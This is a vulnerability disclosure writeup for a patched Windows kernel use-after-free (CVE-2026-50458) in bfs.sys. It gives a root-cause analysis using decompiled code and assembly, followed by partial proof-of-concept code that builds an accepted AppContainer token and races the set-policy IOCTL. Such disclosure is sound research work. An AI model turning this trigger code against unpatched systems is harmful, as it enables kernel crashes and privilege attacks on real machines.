CVE-2026-50458: Finding a UAF in the Windows Brokering File System
On Tuesday, July 14, Microsoft released the largest Patch Tuesday update in its history, fixing more than 600 vulnerabilities. A bug I reported to Microsoft on May 17 was patched as CVE-2026-50458 in this release, so I am publishing the writeup I wrote at the time, while the details were still fresh. I hope you enjoy it!
Introduction
After spending some time learning and researching Windows minifilter drivers, I decided to audit one of them. I chose the Windows Brokering File System (bfs.sys, build 26100.8328) because it caught my attention as a component related to sandboxes, in the broad sense of the word. I also noticed that it had several CVEs from late 2025 and early 2026 and that it was a small component (153 KB), which made it look like a good target.
After finding a few minor issues (user mode memory corruption, reference leaks, etc.), I found a UAF triggerable through a race condition. This post presents the RCA for this vulnerability and the methodology I used during the analysis.
Windows Brokering File System
The Microsoft Brokering File System (bfs.sys) is a Windows minifilter driver that acts as a trusted broker. It manages and intercepts file, pipe, and registry operations between restricted user mode applications, such as AppContainer or UWP apps, and the broader operating system.
After a fairly tedious investigation (ahem, downloading cvelist locally and asking Codex to find and sort every CVE related to the component), I ended up with the following data:
Direct Microsoft Brokering File System CVEs found: 21.
By year:
| Year | Count |
|---|---|
| 2024 | 5 |
| 2025 | 12 |
| 2026 | 4 |
By bug class / CWE:
| Class | Count |
|---|---|
| CWE-416: Use After Free | 12 |
| CWE-362: Race condition / improper synchronization | 5 |
| CWE-269: Improper Privilege Management | 3 |
| CWE-415: Double Free | 3 |
| CWE-822: Untrusted Pointer Dereference | 1 |
| CWE-59: Improper Link Resolution Before File Access | 1 |
| CWE-476: NULL Pointer Dereference | 1 |
| CVE | Public date | Main class | Local JSON |
|---|---|---|---|
| CVE-2024-26213 | 2024-04-09 | CWE-822: Untrusted Pointer Dereference | cves/2024/26xxx/CVE-2024-26213.json |
| CVE-2024-28904 | 2024-04-09 | CWE-269: Improper Privilege Management | cves/2024/28xxx/CVE-2024-28904.json |
| CVE-2024-28905 | 2024-04-09 | CWE-269: Improper Privilege Management | cves/2024/28xxx/CVE-2024-28905.json |
| CVE-2024-28907 | 2024-04-09 | CWE-59: Improper Link Resolution Before File Access | cves/2024/28xxx/CVE-2024-28907.json |
| CVE-2024-30007 | 2024-05-14 | CWE-269: Improper Privilege Management | cves/2024/30xxx/CVE-2024-30007.json |
| CVE-2025-21315 | 2025-01-14 | CWE-416: Use After Free | cves/2025/21xxx/CVE-2025-21315.json |
| CVE-2025-21372 | 2025-01-14 | CWE-416: Use After Free | cves/2025/21xxx/CVE-2025-21372.json |
| CVE-2025-29970 | 2025-05-13 | CWE-416: Use After Free | cves/2025/29xxx/CVE-2025-29970.json |
| CVE-2025-49677 | 2025-07-08 | CWE-416: Use After Free | cves/2025/49xxx/CVE-2025-49677.json |
| CVE-2025-49693 | 2025-07-08 | CWE-415: Double Free | cves/2025/49xxx/CVE-2025-49693.json |
| CVE-2025-49694 | 2025-07-08 | CWE-476: NULL Pointer Dereference | cves/2025/49xxx/CVE-2025-49694.json |
| CVE-2025-53142 | 2025-08-12 | CWE-416: Use After Free | cves/2025/53xxx/CVE-2025-53142.json |
| CVE-2025-54105 | 2025-09-09 | CWE-362 + CWE-416 | cves/2025/54xxx/CVE-2025-54105.json |
| CVE-2025-48004 | 2025-10-14 | CWE-416: Use After Free | cves/2025/48xxx/CVE-2025-48004.json |
| CVE-2025-59189 | 2025-10-14 | CWE-416: Use After Free | cves/2025/59xxx/CVE-2025-59189.json |
| CVE-2025-62469 | 2025-12-09 | CWE-362 + CWE-415 | cves/2025/62xxx/CVE-2025-62469.json |
| CVE-2025-62569 | 2025-12-09 | CWE-416: Use After Free | cves/2025/62xxx/CVE-2025-62569.json |
| CVE-2026-25167 | 2026-03-10 | CWE-416: Use After Free | cves/2026/25xxx/CVE-2026-25167.json |
| CVE-2026-26181 | 2026-04-14 | CWE-416 + CWE-362 | cves/2026/26xxx/CVE-2026-26181.json |
| CVE-2026-32091 | 2026-04-14 | CWE-362 + CWE-416 | cves/2026/32xxx/CVE-2026-32091.json |
| CVE-2026-32219 | 2026-04-14 | CWE-415 + CWE-362 | cves/2026/32xxx/CVE-2026-32219.json |
With this information, I started patch diffing as many of the vulnerabilities as I could, although I was unable to find some older driver versions. I saw the following patterns quite often:
- Misplaced push locks: calls to
ExAcquirePushLockSharedEx(...)around code that modified global variables, orExAcquirePushLockExclusiveEx(...)calls released too early, again allowing global state to be modified without the lock. - Misplaced
ExAcquireRundownProtection(...)calls, causing synchronization problems between pre and post callbacks. - Functions prefixed with
Get*orQuery*that actually modify state without any lock. - Incorrect use of
BfsDereference*, leading to double frees or UAFs.
The important result of this initial analysis was that it clarified the most common bug patterns in this component: issues related to race conditions that ended in UAFs, usually because of incorrect locking or dereferencing. If that does not convince you, take another look at the CVE history above.
Root Cause Analysis
During bfs.sys initialization, inside DriverEntry, the driver creates a device object with IoCreateDevice and exposes it as \Device\Bfs. It also fills DriverObject->MajorFunction with several routines, including BfsDeviceIoControl, creating an attack surface exposed through IOCTLs.
BfsDeviceIoControl
BfsDeviceIoControl is the driver’s IOCTL dispatcher. In Ghidra, we can see that IOCTL 0x228004 is routed to BfsProcessSetPolicyRequest:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
NTSTATUS BfsDeviceIoControl(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
...
if (ICTLcode == 0x228004) {
// METHOD_BUFFERED: user-mode input arrives in Irp->AssociatedIrp.SystemBuffer.
status = BfsProcessSetPolicyRequest(
Irp->AssociatedIrp.SystemBuffer,
irpSp->Parameters.DeviceIoControl.InputBufferLength);
}
else {
// Other IOCTLs
...
}
...
}
BfsProcessSetPolicyRequest
This function expects a very specific layout for the buffer received from user mode. After reverse engineering the structure, the following layout can be inferred:
1
2
3
4
5
6
7
8
9
10
typedef struct _BFS_SET_POLICY_REQUEST {
HANDLE TokenHandle; // +0x00 Handle to the token BFS will validate/reference
ULONG EntryType; // +0x08 Type of entry to persist
ULONG PolicyType; // +0x0c Policy type associated with that entry
ULONG PolicyFlags; // +0x10 Flags used by BfsAddOrModifyEntry
ULONG Reserved; // +0x14
ULONGLONG PathLength; // +0x18 Path size in bytes
PWSTR PathBuffer; // +0x20 User-mode pointer to the path
ULONGLONG Operation; // +0x28 0/1 = add-modify, 2 = delete
} BFS_SET_POLICY_REQUEST; // sizeof == 0x30
The function performs the initial validation, copies the path into kernel memory, references the token, and opens the target object with access checks. In simplified form:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int BfsProcessSetPolicyRequest(BFS_SET_POLICY_REQUEST *pRequest, uint inputLength)
{
...
// Checks that the provided size is not smaller than the expected structure size.
if (inputLength < sizeof(BFS_SET_POLICY_REQUEST)) {
return STATUS_INVALID_PARAMETER;
}
// Checks that our buffer belongs to user mode.
pathLength = (USHORT)pRequest->PathLength;
ProbeForRead(pRequest->PathBuffer, pathLength, 2);
// Copy the path into kernel memory.
kernelPath.Buffer = ExAllocatePool2(..., pathLength + sizeof(WCHAR), ...);
RtlCopyMemory(kernelPath.Buffer, pRequest->PathBuffer, pathLength);
// Reference the token.
status = ObReferenceObjectByHandle(
pRequest->TokenHandle,
...,
UserMode,
&token,
NULL);
// Open the file pointed to by PathBuffer.
status = ZwOpenFile(
&fileHandle,
...,
&objectAttributes, // OBJ_FORCE_ACCESS_CHECK
...);
...
}
The part we care about happens later, when _BFS_SET_POLICY_REQUEST.Operation indicates an add or modify operation. In that branch, BFS obtains the policy associated with the token and eventually calls BfsAddOrModifyEntry:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int BfsProcessSetPolicyRequest(BFS_SET_POLICY_REQUEST *pRequest, uint inputLength)
{
...
// Operations 0 and 1 lead to add-modify. Operation 2 goes through BfsDeleteEntry(...).
if (pRequest->Operation < 2) {
// From here, we enter the internal storage associated with the token policy.
status = BfsAddOrModifyEntry(
policyEntry->Storage, // Directory tree/cache for this policy
pRequest->EntryType, // Entry type we want to create/modify
pRequest->PolicyType, // Policy type that will be applied to the entry
pRequest->PolicyFlags, // Flags that affect insertion
&nameInfo->Volume, // Path volume
&normalizedName); // Normalized path BFS will walk by components
}
...
}
BfsAddOrModifyEntry
BfsAddOrModifyEntry walks the path component by component. For each intermediate directory, it calls BfsCreateDirectory. At the end, it inserts or updates the policy entry.
Reduced to the relevant part, the flow looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int BfsAddOrModifyEntry(
void *pStorage,
int entryType,
uint policyType,
uint policyFlags,
BFS_UNICODE_STRING *pVolumePath,
BFS_UNICODE_STRING *pPolicyPath)
{
...
// First resolve the volume directory inside this policy's storage.
status = BfsCreateDirectory(
(BFS_DIR_ENTRY_VIEW *)((char *)pStorage + 0x30),
pVolumePath,
3,
&pCurrentDirectory);
if (status < 0) {
goto fail;
}
// BFS walks the path by components: C:\a\b\c -> a, b, c.
while (nextComponentExists) {
// Save the current directory so its reference can be released later.
oldDir = pCurrentDirectory;
// Look up the component in the cache, or create it if it does not exist.
// On success, pNextDirectory is expected to carry its own reference.
status = BfsCreateDirectory(
pCurrentDirectory,
&componentName,
createFlags,
&pNextDirectory);
if (status < 0) {
goto fail;
}
// The caller assumes oldDir was a referenced entry+8 pointer.
// Therefore it subtracts 8 and dereferences the real allocation.
BfsDereferenceTableEntry((char *)oldDir - 8);
pCurrentDirectory = pNextDirectory;
}
// Once the final component is reached, insert the policy entry.
status = BfsInsertDirectoryEntry(
pCurrentDirectory,
entryType,
policyType,
policyFlags,
&leafName);
// Release the reference for the last directory used.
BfsDereferenceTableEntry((char *)pCurrentDirectory - 8);
...
}
The most important part of this snippet is the call to BfsDereferenceTableEntry. The caller assumes that any pCurrentDirectory returned by BfsCreateDirectory comes with its own reference. If that reference does not exist, this function will perform a dereference it does not own.
The assembly reflects the same contract:
; BfsAddOrModifyEntry, after BfsCreateDirectory
call BfsCreateDirectory
lea rcx, [rbx-8]
call BfsDereferenceTableEntry
mov rbx, qword ptr [rbp-50h]
The question is: when BfsCreateDirectory returns a directory, who guarantees that the refcount was incremented?
BfsCreateDirectory
BfsCreateDirectory tries to resolve a path component inside the parent directory. First it performs a lookup in the directory AVL cache. If it exists, it returns that entry. If it does not exist, it finds or creates the persistent entry and then calls BfsInsertDirectory to insert it into the cache.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int BfsCreateDirectory(
BFS_DIR_ENTRY_VIEW *pParentDir,
BFS_UNICODE_STRING *pComponentName,
uint createMode,
BFS_DIR_ENTRY_VIEW **ppDirectory)
{
...
// First try to find the directory in the AVL cache.
// This path is safe because BfsLocateDirectory takes a reference.
status = BfsLocateDirectory(
&pParentDir->qwChildTableLock,
pComponentName,
ppDirectory);
if (status >= 0) {
return status;
}
// If it was not cached, look for the persisted entry in storage.
KeEnterCriticalRegion();
ExAcquirePushLockSharedEx(&pParentDir->qwPushLock, 0);
diskEntry = BfsFindEntry((longlong)pParentDir, pComponentName);
ExReleasePushLockSharedEx(&pParentDir->qwPushLock, 0);
KeLeaveCriticalRegion();
if (diskEntry == NULL) {
if ((createMode & 3) == 0) {
return STATUS_NOT_FOUND;
}
// If the directory does not exist and the flags allow it, create it in storage.
diskEntry = BfsInsertDirectoryEntry(pParentDir, 2, 0, 0, pComponentName);
if (diskEntry == NULL) {
return STATUS_NO_MEMORY;
}
}
// After loading/preparing the directory, insert it into the cache.
// This is the race window: another thread may have inserted the same pComponentName.
pInsertedDirectory = &tempDirectory;
status = BfsInsertDirectory(
&pParentDir->qwChildTableLock,
pComponentName,
&pInsertedDirectory,
&isNewElement);
*ppDirectory = pInsertedDirectory;
return status;
}
The race appears here. The initial lookup and the insertion are not one atomic operation from the point of view of all threads. Two or more threads can miss BfsLocateDirectory for the same component and later reach BfsInsertDirectory with the same name.
That should not be a bug by itself. RtlInsertElementGenericTableAvl supports duplicates by returning the existing element. The problem is that BFS also has to maintain the reference contract correctly in that path.
BfsLocateDirectory
Before looking at the vulnerable function, it is useful to look at the path that is correct. BfsLocateDirectory searches the AVL and, if it finds the directory, increments the refcount before returning entry + 8 to the caller.
; BfsLocateDirectory, trimmed ASM
call RtlLookupElementGenericTableAvl ; look up pName in the directory AVL
test rax, rax ; rax == NULL if it does not exist
jz not_found
lock inc dword ptr [rax+98h] ; take a reference for the caller
add rax, 8 ; the caller does not receive the allocation base
mov [ppDirectory], rax ; return entry+8 as the directory view
This gives us the lifetime invariant:
If a function returns entry+8 with success status, the caller is allowed to call BfsDereferenceTableEntry(…).
BfsAddOrModifyEntry depends on this invariant. It does not check whether the reference exists; it simply uses the pointer and then dereferences it.
BfsInsertDirectory
BfsInsertDirectory is where this contract is broken. The function builds a temporary entry, calls RtlInsertElementGenericTableAvl, and publishes the AVL return pointer to the caller:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int BfsInsertDirectory(
ulonglong *pChildTableLock,
BFS_UNICODE_STRING *pName,
BFS_DIR_ENTRY_VIEW **ppDirectory,
bool *pNewElement)
{
...
// pNewElement is an out-param filled by RtlInsertElementGenericTableAvl.
// *pNewElement == true -> temporaryEntry was inserted.
// *pNewElement == false -> an equivalent entry already existed and was returned.
*pNewElement = false;
entry = RtlInsertElementGenericTableAvl(
(PRTL_AVL_TABLE)(pChildTableLock + 1),
&temporaryEntry,
0xa0,
pNewElement);
// From here on, the caller has received a valid directory.
// It can be either a new entry or an existing entry.
*ppDirectory = (BFS_DIR_ENTRY_VIEW *)((char *)entry + 8);
if (Feature_AgenticAppContainerBfsSupport__private_IsEnabledDeviceUsageNoInline()) {
// Agentic branch (active): duplicate depends on the value written to pNewElement.
duplicate = (*pNewElement == false);
} else {
// Old branch: checks the out-param address, not the value.
duplicate = (pNewElement == NULL);
}
if (duplicate) {
// Clean up resources from the temporary entry that was not inserted.
// The problem is that it also returns existingEntry+8 without taking a ref.
ExFreePoolWithTag(temporaryName->Buffer, 0);
ExFreePoolWithTag(temporaryName, 0);
BfsDereferenceTableEntry(parentEntry);
} else {
// Only here is the reference the caller expects to own taken.
InterlockedIncrement(&entry->RefCount); // entry + 0x98
}
...
}
And this is the equivalent assembly:
; BfsInsertDirectory, trimmed ASM
call RtlInsertElementGenericTableAvl ; insert or return an existing entry
mov rbx, rax ; rbx = new entry or existing entry
lea rcx, [rbx+8]
mov [r15], rcx ; *ppDirectory = entry + 8
call Feature_AgenticAppContainerBfsSupport__private_IsEnabledDeviceUsageNoInline
test eax, eax ; Agentic branch active, do not take the jump
jz non_agentic
cmp byte ptr [rsi], 0 ; Agentic: check *pNewElement
jmp check_done
non_agentic:
test rsi, rsi
check_done:
jz duplicate_cleanup ; if *pNewElement == false, skip ref++
lock inc dword ptr [rbx+98h] ; only executed if this is not duplicate
In the old branch, rsi is the pNewElement pointer. Since the caller passes a valid pointer, test rsi, rsi does not enter duplicate_cleanup, so lock inc [rbx+98h] executes even if the AVL returned an existing element.
In the Agentic branch, the code checks the value written by RtlInsertElementGenericTableAvl. If *pNewElement == false, it means the AVL did not insert the temporary entry and instead returned an existing entry. In that case, the code takes duplicate_cleanup and skips the refcount increment.
The exact problem is:
1
2
3
4
5
6
RtlInsertElementGenericTableAvl returns existingEntry
*ppDirectory = existingEntry + 8
*pNewElement == false
InterlockedIncrement(&existingEntry->RefCount) is skipped
BfsCreateDirectory returns success
BfsAddOrModifyEntry treats existingEntry+8 as referenced
The Race Condition
The race exists because BfsCreateDirectory performs “lookup, prepare, insert” in several steps. If multiple threads work on the same new component, they can all miss the initial lookup and then compete in BfsInsertDirectory.
A minimal interleaving would be:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
T1: BfsLocateDirectory("X") fails
T2: BfsLocateDirectory("X") fails
T3: BfsLocateDirectory("X") fails
T1: BfsInsertDirectory("X")
RtlInsertElementGenericTableAvl inserts a new entry
BfsInsertDirectory performs RefCount++
T1 receives X+8 with a valid reference
T2: BfsInsertDirectory("X")
RtlInsertElementGenericTableAvl returns the existing entry
*pNewElement == false
the Agentic branch skips RefCount++
T2 receives X+8 without owning a reference
T3: BfsInsertDirectory("X")
the same thing happens as with T2
T3 receives X+8 without owning a reference
From there, the caller follows the normal contract:
1
2
3
4
5
T2: BfsAddOrModifyEntry finishes with X+8
BfsDereferenceTableEntry(X)
T3: BfsAddOrModifyEntry finishes with X+8
BfsDereferenceTableEntry(X)
But those references were never taken. Each dereference from a duplicate caller consumes a real refcount that belonged to some other user of the entry. With enough concurrency, one thread can bring the refcount down to zero and free the Bfse allocation while another thread is still using the same entry + 8.
In short, the bug consists of publishing an existing entry as if it were referenced and, in the Agentic branch, skipping the exact increment that makes that property true.
Building a PoC
To reproduce the vulnerability, the PoC has to reach the vulnerable path and maximize the probability that many threads enter BfsCreateDirectory at the same time for the same path component.
The practical requirements are:
- The token passed in the IOCTL must be accepted by BFS.
- We have to send the set policy IOCTL,
0x228004. - The path must be openable or creatable by that token; in the PoC, it is created beforehand so we do not depend on the driver’s creation fallback path.
- The entry must be a directory entry, to force the
BfsCreateDirectory->BfsInsertDirectorypath. - Many threads must send the same new path at the same time.
The path to the vulnerability is:
1
2
3
4
5
BfsDeviceIoControl
-> BfsProcessSetPolicyRequest
-> BfsAddOrModifyEntry
-> BfsCreateDirectory
-> BfsInsertDirectory
Step 1: Getting A Token Accepted By BFS
The first requirement comes from BfsProcessSetPolicyRequest. The request includes a token handle, and BFS references that token before reaching the policy logic:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int BfsProcessSetPolicyRequest(BFS_SET_POLICY_REQUEST *pRequest, uint inputLength)
{
...
TokenHandle = pRequest->pTokenHandle;
...
// Increase the token refcount.
NVar5 = ObReferenceObjectByHandle(
TokenHandle,
8,
*(POBJECT_TYPE *)SeTokenObjectType_exref,
'\x01',
&OutObjectToken,
(POBJECT_HANDLE_INFORMATION)0x0);
if (NVar5 < 0) {
goto joined_r0x00014000a43a;
}
// Check that the token is valid.
BVar4 = BfsIsApplicableToken(OutObjectToken, '\x01');
if (BVar4 == '\0') {
NVar5 = L'\xc000a200'; // STATUS_NOT_APPCONTAINER
goto joined_r0x00014000a43a;
}
...
}
For this bug, the branch we care about is the Agentic branch. That is why the PoC does not simply use the current process token, but instead creates a real AppContainer with the AgenticAppContainer capability. In BfsIsApplicableToken, Ghidra shows that the Agentic branch accepts AppContainer tokens if they have the capability stored in gApplicableCapabilitySid:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
BOOLEAN BfsIsApplicableToken(PACCESS_TOKEN Token, BOOLEAN AllowAgenticAppContainer)
{
...
NVar1 = SeQueryInformationToken(Token, TokenIsAppSilo, (PVOID *)local_78);
if (-1 < NVar1) {
uVar3 = Feature_AgenticAppContainerBfsSupport__private_IsEnabledDeviceUsageNoInline();
if ((((int)uVar3 != 0) && (local_78[0] == 0)) && (AllowAgenticAppContainer != '\0')) {
// Get the AppContainer information from our token. local_7c is an
// output parameter for the requested token information.
SeQueryInformationToken(Token, TokenIsAppContainer, (PVOID *)&local_7c);
if (local_7c != 0) {
NVar1 = ObOpenObjectByPointer(
Token,
0x200,
(PACCESS_STATE)0x0,
8,
*(POBJECT_TYPE *)SeTokenObjectType_exref,
'\0',
&local_60);
...
iVar2 = RtlCheckTokenCapability(
local_60, // HANDLE TokenHandle
gApplicableCapabilitySid, // PSID CapabilitySidToCheck
local_88); // PBOOL HasCapability, this is what the function returns
}
}
}
...
}
The PoC derives the SID for that capability using the undocumented RtlDeriveCapabilitySidsFromName API:
1
2
3
4
5
6
7
8
9
10
11
12
13
BYTE capGroupSid[SECURITY_MAX_SID_SIZE]{};
BYTE capSid[SECURITY_MAX_SID_SIZE]{};
UNICODE_STRING capName = MakeUnicodeString(L"AgenticAppContainer");
NTSTATUS st = gRtlDeriveCapabilitySidsFromName(&capName, capGroupSid,
capSid);
if (!NT_SUCCESS(st)) {
printf("[-] RtlDeriveCapabilitySidsFromName failed: 0x%08x\n", st);
return false;
}
SID_AND_ATTRIBUTES capability{};
capability.Sid = capSid;
capability.Attributes = SE_GROUP_ENABLED;
With that capability, it creates an AppContainer profile. It then creates a suspended process inside that AppContainer and opens its token. The child process does not do anything; it is only used as a container for a token that BFS will accept:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
constexpr wchar_t kProfileName[] = L"BfsRaceAgenticAppContainer";
PSID appContainerSid = nullptr;
HRESULT hr = createProfile(kProfileName, L"BfsRaceAgentic",
L"BFS race validation profile", &capability, 1, &appContainerSid);
if (hr == HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS)) {
hr = deriveAppContainerSid(kProfileName, &appContainerSid);
}
SECURITY_CAPABILITIES sc{};
sc.AppContainerSid = appContainerSid;
sc.Capabilities = &capability;
sc.CapabilityCount = 1;
ok = CreateProcessW(childExe.c_str(), &cmd[0], nullptr, nullptr, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, nullptr, nullptr,
&si.StartupInfo, &pi);
gAgenticProcess = pi.hProcess;
gAgenticThread = pi.hThread;
if (!OpenProcessToken(gAgenticProcess, TOKEN_QUERY, token)) {
printf("[-] OpenProcessToken(AppContainer child) failed: %lu\n",
GetLastError());
return false;
}
Step 2: Opening \Device\Bfs
The reachable surface is the device object registered by DriverEntry as \Device\Bfs. In the RCA, we already saw that BfsDeviceIoControl routes IOCTL 0x228004 to BfsProcessSetPolicyRequest.
The PoC opens the device using NtCreateFile:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static NTSTATUS OpenBfsDevice(HANDLE* out) {
*out = INVALID_HANDLE_VALUE;
UNICODE_STRING name = MakeUnicodeString(L"\\Device\\Bfs");
OBJECT_ATTRIBUTES oa{};
InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, nullptr,
nullptr);
IO_STATUS_BLOCK ios{};
HANDLE device = nullptr;
// Open the device object.
NTSTATUS st = gNtCreateFile(
&device, FILE_READ_DATA | FILE_WRITE_DATA | SYNCHRONIZE, &oa, &ios,
nullptr, 0, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, nullptr, 0);
if (NT_SUCCESS(st)) {
*out = device;
}
return st;
}
And it opens kThreads persistent handles before starting the race:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static bool OpenWorkerDevices(vector<HANDLE>* devices) {
devices->clear();
devices->reserve(kThreads);
for (int i = 0; i < kThreads; ++i) {
HANDLE device = INVALID_HANDLE_VALUE;
NTSTATUS st = OpenBfsDevice(&device);
if (!NT_SUCCESS(st)) {
printf("[-] OpenBfsDevice worker=%d failed: 0x%08x\n", i, st);
CloseWorkerDevices(devices);
return false;
}
devices->push_back(device);
}
return true;
}
Step 3: Building The Set Policy Request
The IOCTL uses the previously mentioned BFS_SET_POLICY_REQUEST structure, which is 0x30 bytes long:
1
2
3
4
5
6
7
8
9
10
11
struct BFS_SET_POLICY_REQUEST {
HANDLE TokenHandle; // +0x00 Handle to the token BFS will validate/reference
ULONG EntryType; // +0x08 Type of entry to persist
ULONG PolicyType; // +0x0c Policy type associated with that entry
ULONG PolicyFlags; // +0x10 Flags used by BfsAddOrModifyEntry
ULONG Reserved; // +0x14
ULONGLONG PathLength; // +0x18 Path size in bytes
PWSTR PathBuffer; // +0x20 User-mode pointer to the path
ULONGLONG Operation; // +0x28 0/1 = add-modify, 2 = delete
};
static_assert(sizeof(BFS_SET_POLICY_REQUEST) == 0x30, "bad request size");
Remember that BfsProcessSetPolicyRequest validates the size, extracts the fields from the METHOD_BUFFERED buffer, probes the user mode PathBuffer, and copies the path to a kernel pool allocation:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int BfsProcessSetPolicyRequest(BFS_SET_POLICY_REQUEST *pRequest, uint inputLength)
{
...
if (inputLength < 0x30) goto EXIT;
TokenHandle = pRequest->pTokenHandle;
uStack_50._0_4_ = pRequest->dwEntryType;
uStack_50._4_4_ = pRequest->dwPolicyType;
uStack_48._0_4_ = pRequest->dwPolicyFlags;
uStack_48._4_4_ = pRequest->dwReserved;
PathLength = pRequest->qwPathLength;
PathBuffer = pRequest->pPathBuffer;
Operation = pRequest->qwOperation;
...
Length = (uint)(ushort)PathLength;
ProbeForRead(PathBuffer, (ulonglong)Length, 2);
if ((uVar1 == 0) ||
(userPath.Buffer = ExAllocatePool2(0x100, (ulonglong)Length, 0x50736642),
userPath.Buffer == (PWCH)0x0)) goto EXIT;
userPath.MaximumLength = (ushort)PathLength;
userPath.Length = (ushort)PathLength;
memmove(userPath.Buffer, PathBuffer, (ulonglong)Length);
...
}
Also, after copying the path, BFS tries to open the object. The decompilation shows that if ZwOpenFile returns STATUS_OBJECT_NAME_NOT_FOUND, it may enter a fallback path using IoCreateFile:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
entryType = (int)uStack_50;
OpenOptions = 0x60;
if ((int)uStack_50 == 2) {
OpenOptions = 0x21;
}
local_b8.Length = 0x30;
local_b8.RootDirectory = (HANDLE)0x0;
local_b8.Attributes = 0x600;
local_b8.ObjectName = &userPath;
local_b8.SecurityDescriptor = (PVOID)0x0;
local_b8.SecurityQualityOfService = (PVOID)0x0;
NVar5 = ZwOpenFile(
&_out_FIleHandle,
0x80000000,
&local_b8,
(PIO_STATUS_BLOCK)&_out_IoStatusBlock,
3,
OpenOptions);
bVar10 = NVar5 == L'\xc0000034'; // STATUS_OBJECT_NAME_NOT_FOUND
// We do not want to enter this path, is unnecesary
if (bVar10) {
NVar5 = IoCreateFile(
&_out_FIleHandle,
0x80100000,
&local_b8,
(PIO_STATUS_BLOCK)&_out_IoStatusBlock,
(PLARGE_INTEGER)0x0,
0x80,
7,
1,
0x20,
(PVOID)0x0,
0,
CreateFileTypeNone,
(PVOID)0x0,
0x104);
}
To avoid falling into that fallback path (it is unnecessary for the bug), I prepare the real directories on disk before starting the stress phase, so the interesting part is BFS and not filesystem setup:
1
2
3
4
5
6
7
8
9
10
11
static void BuildRoundPaths(vector<wstring>* ntPaths) {
ntPaths->clear();
ntPaths->reserve(kRounds);
for (int round = 0; round < kRounds; ++round) {
wstring winPath = wstring(kRoot) + L"\\r" +
to_wstring(round) + L"\\a\\b\\c\\d";
EnsureDirectoryTree(winPath);
ntPaths->push_back(L"\\??\\" + winPath);
}
}
The path does not stop at rN (N is the round number) because BfsAddOrModifyEntry walks the path component by component. Every new component is another opportunity to enter BfsCreateDirectory and race in BfsInsertDirectory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int BfsAddOrModifyEntry(void *pStorage, int entryType, uint policyType,
uint policyFlags, BFS_UNICODE_STRING *pVolumePath,
BFS_UNICODE_STRING *pPolicyPath)
{
...
status = BfsCreateDirectory(
(BFS_DIR_ENTRY_VIEW *)((longlong)pStorage + 0x30),
pVolumePath,
3,
(BFS_DIR_ENTRY_VIEW **)&pPolicyPath);
if (-1 < status) {
pNextDirectory = (BFS_DIR_ENTRY_VIEW *)pPolicyPath;
pCurrentDirectory = (BFS_DIR_ENTRY_VIEW *)pPolicyPath;
do {
// Extract path components one by one.
puVar1 = (ushort *)BfsGetPathComponent(
local_58,
(undefined4 *)&remainingPath,
(undefined4 *)¤tComponent);
remainingPathLength = *puVar1;
...
if (remainingPathLength < 2) {
...
}
else {
// Called for each path component.
status = BfsCreateDirectory(
pCurrentDirectory,
¤tComponent,
1,
&pNextDirectory);
if (status < 0) {
BfsDereferenceTableEntry(
(BFS_DIR_CACHE_ENTRY *)&pCurrentDirectory[-1].nRefCount);
return status;
}
BfsDereferenceTableEntry(
(BFS_DIR_CACHE_ENTRY *)&pCurrentDirectory[-1].nRefCount);
pCurrentDirectory = pNextDirectory;
}
} while (1 < remainingPathLength);
}
...
}
Finally, each worker sends an add/modify operation (Operation = 0) and a directory entry (EntryType = 2). That combination reaches the BfsCreateDirectory path:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static NTSTATUS SendSetPolicy(HANDLE device, HANDLE token, const wstring& ntPath) {
BFS_SET_POLICY_REQUEST req{};
req.TokenHandle = token;
req.EntryType = kEntryTypeDirectory;
req.PolicyType = kPolicyType;
req.PolicyFlags = kPolicyFlags;
req.PathLength = ntPath.size() * sizeof(wchar_t);
req.PathBuffer = const_cast<PWSTR>(ntPath.c_str());
req.Operation = 0;
IO_STATUS_BLOCK ios{};
NTSTATUS st = gNtDeviceIoControlFile(device, nullptr, nullptr, nullptr, &ios,
kSetPolicyIoctl, &req, sizeof(req), nullptr, 0);
if (NT_SUCCESS(st)) {
st = ios.Status;
}
return st;
}
Step 4: Creating Race Pressure On The Same Component
The vulnerable path depends on multiple threads missing the initial lookup for the same component and then reaching BfsInsertDirectory. The window is in BfsCreateDirectory: first it looks up the component in the AVL, and if it does not see it, it prepares the entry and inserts it in a later operation.
